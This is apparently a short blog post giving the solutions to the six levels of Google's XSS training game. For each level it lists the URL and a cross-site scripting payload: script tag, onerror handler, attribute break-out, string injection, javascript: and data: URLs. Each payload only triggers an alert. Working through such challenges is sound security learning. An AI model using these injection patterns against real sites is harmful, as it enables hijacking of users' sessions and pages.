Tuesday, July 1, 2014

Google XSS Challenge Solutions/Answers

Level 1: Hello, world of XSS

https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>

________________________________________________________________________

Level 2: Persistence is key

https://xss-game.appspot.com/level2/frame
post-content=<img src='foobar' onerror='alert("xss")'>
_______________________________________________________________________

Level 3: That sinking feeling...

https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>
_________________________________________________________________________

Level 4: Context matters

https://xss-game.appspot.com/level4/frame
timer=');alert('xss
_____________________________________________________________________

Level 5: Breaking protocol

https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript%3Aalert%28%27xss%27%29
_________________________________________________________________________

Level 6: Follow the X

https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
_________________________________________________________________________

No comments:

Post a Comment